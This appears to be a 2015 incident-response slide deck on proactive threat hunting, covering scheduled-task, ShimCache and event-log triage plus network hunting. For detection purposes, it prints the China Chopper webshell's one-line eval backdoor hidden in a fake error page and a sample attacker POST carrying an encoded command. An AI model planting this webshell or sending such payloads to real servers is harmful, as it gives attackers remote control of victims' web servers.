LEVERAGING PROACTIVE DEFENSE TO DEFEAT MODERN ADVERSARIES

Jared Greenhill – RSA Incident Response

September 17th, 2015
Current State of Detection

• Many organization's depend on “alerts” and feel this provides an adequate detection mechanism. Examples Include:
  
  • Signature based detection
    • IDS/IPS/AV, In house alerting, filenames, hashes.
    • Static defense is easy to get around for advanced threats
  
• This model is not proactive, but reactive in nature.

• Lacks focus on adversarial techniques, tactics & procedures.
  • How do attackers use their tools & malware?

• Typical Attacker dwell times of approximately 1+ year.
Are We Being Proactive?

• The legacy mindset of alerting and defending in wait must change.

• Organizations must be prepared to defend themselves and bring capabilities in house – take ownership of what’s theirs.

• This starts with being proactive and hunting their infrastructures and datasets for signs of attacker activity.

• Need to move away from only signature based detection.
  • Don’t depend solely on sigs, use it to compliment behavioral based proactive hunting.
Hunting

• Starts with proactive hunting of datasets for attacker activity.
  • This needs to occur on multiple levels.
  • Eyes on glass with an experienced analyst
  • Focus on: Endpoint and Network based detection.

• Signature based detection should compliment behavioral based proactive hunting. Let’s consider:
  • China Chopper IDS alert – what do you do next? (later)
    • How would you run this down?
    • Verify at both the host/network level.
Global Triage – Host Level

- Scheduled Tasks
- Shim Cache Analysis
- Auto Start Analysis
- Event Log Analysis
- Services
- Process List
- Process DLLs
Global Triage – Job Related

• Scheduled Tasks – why we care?
  – Looking for lateral movement and malware execution artifacts
  – Looking for At*.job – attackers set up manual AT jobs and get this naming convention.

• Job Related Artifacts:
  – C:\Windows\Tasks\Schedlgu.txt
  – C:\Windows\Tasks\At*.job
  – C:\Windows\System32\winevt\Logs\Microsoft-Windows-TaskScheduler*
    • Looking to grab Microsoft-Windows-TaskSchedules%4Operational.evtx
    • Vista + newer Windows systems.
Schedlgu.txt – Windows Task Scheduler Output

- C:\Windows\Tasks\Schedlgu.txt
- Parsing Schedlgu.txt processing with grep
- Type *.* | Grep –A1 ‘At’ > out.txt
- Triage method to detect Lateral movement & malware artifacts
Global Triage – Job Related (At*.job files)

• Move At#.job files to a separate folder
  – Run via PowerShell:
    Get-ChildItem | foreach {e:\tools\jobparser.exe -f $_} >> results.txt
Global Triage – Job Related (EVTX files)

- Move Microsoft-Windows-TaskScheduler%4Operational.evtx files to a separate folder, and run via PowerShell.

- Only extract At#.job files or review everything.

  ```powershell
  Get-ChildItem | foreach {e:\tools\LogParser\logparser.exe -i:EVT "SELECT TimeGenerated,EventID,Strings,Computername,SID FROM $_ WHERE strings LIKE '_At%'" -o:CSV -q:ON -stats:OFF} > ..\At-jobs.csv
  
  Extract all job files
  ```

  ```powershell
  Get-ChildItem | foreach {e:\tools\LogParser\logparser.exe -i:EVT "SELECT * FROM $_" -o:CSV -q:ON -stats:OFF} > ..\ALL-jobs.csv
  ```
ShimCache – What is it?

- **Shimcache or AppCompactCache**
  - Created to track compatibility issues – A forensic goldmine!

- **Records file path, size, last modified, last exec time** (if supported by OS)

- **File execution logged if file executed via CreateProcess()**.
  - HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache (XP)
  - HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompactCache\AppCompatCache
Global Triage – ShimCache

• System Hive
  – Request: C:\Windows\system32\config\SYSTEM
  – Move system files to a unique folder
  – Run: Shim.py –d unique
  – modified version of Mandiant’s shimcache parser:
    • [https://github.com/mandiant/ShimCacheParser](https://github.com/mandiant/ShimCacheParser)
    • Results saved to .CSV
  – GREP away looking for suspicious stuff
    • Filename searches
    • Non-standard extensions (.txt, .gif, .jpg, .log)
    • Date, size, path related searches
    • Etc.
Global Triage – ShimCache (ShellCrew Artifacts)
Global Triage – Job Related (.EVTX files)
Examine Malware & Generate YARA signatures

- Yes, signatures can still help!
- Find unique functions, EG. encoders/decoders
- Mix signature with unique strings specific to malware
- Strings only YARA signatures provide mixed results
- Sweeping your environment with Yara sigs.
Network Based Hunting

- Full packet capture is ideal for this.

- HTTP typically accounts for a large amount of network traffic.
  - Great 1st protocol to inspect.

- Inbound/Outbound inspection can reveal malicious/anomalous activity.
  - HTTP POSTs occur 10x more than GETs
  - Review POSTs to DMZ webservers (Webshells are bad!).
  - DynDns traffic and suspect TLD’s.
  - Direct to IP communication, especially with binary payload.
  - Uncommon ports? Traffic not inline with port usage.
    - Port 443 & not SSL
Network Based Hunting – China Chopper

• Commonly used Advanced Actor webshell – Cross Platform
  • Can use Javascript (.js), PHP (.php) & ColdFusion (.cfm)
  • RAT – CLI access, Send/Receive files, File mod...

• Server Side Client code:
  • Code is embedded on a functional webpage
  • IIS webserver → .aspx webpage → ex. 404.aspx

```html
<!DOCTYPE html PUBLIC "-//W3C//XHTML" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>

<h3>You do not have permission to this page using the credentials that you supplied.</h3>

<%@ Page Language="Jscript"%>
<%eval(Request.Item["password"],"unsafe");%>
```
China Chopper – CMDs via HTTP POST

POST /401.aspx HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 192.168.1.29
Referer: http://8.8.8.8
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 192.168.1.29
Content-Length: 1115
Connection: Close

password=Response.Write("-> |"); var
err:Exception;try{eval(System.Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5..."))

`cd /d "D:\Content\websserver\"&ping -n 1 10.10.1.69`
Final Thoughts

• Challenge yourself and your organization's ability to detect badness.
  • Next, work on doing is faster...
  • Learn from your mistakes!
    • Document findings, tighten gaps & Integrate new IOC’s

• Know your inventory!
  • Ensure all endpoints have visibility (host/network – both is best!).

• Monitor your most sensitive data closely and segregate it
  • ACL’s/Preventative measures

• Ingest, Analyze and Automate.
  • Detection → Confirm Badness → Automate Alerting → Keep Hunting in a Proactive Manor.
Contact

• jared.greenhill@rsa<dot>com
• @jared703 on Twitter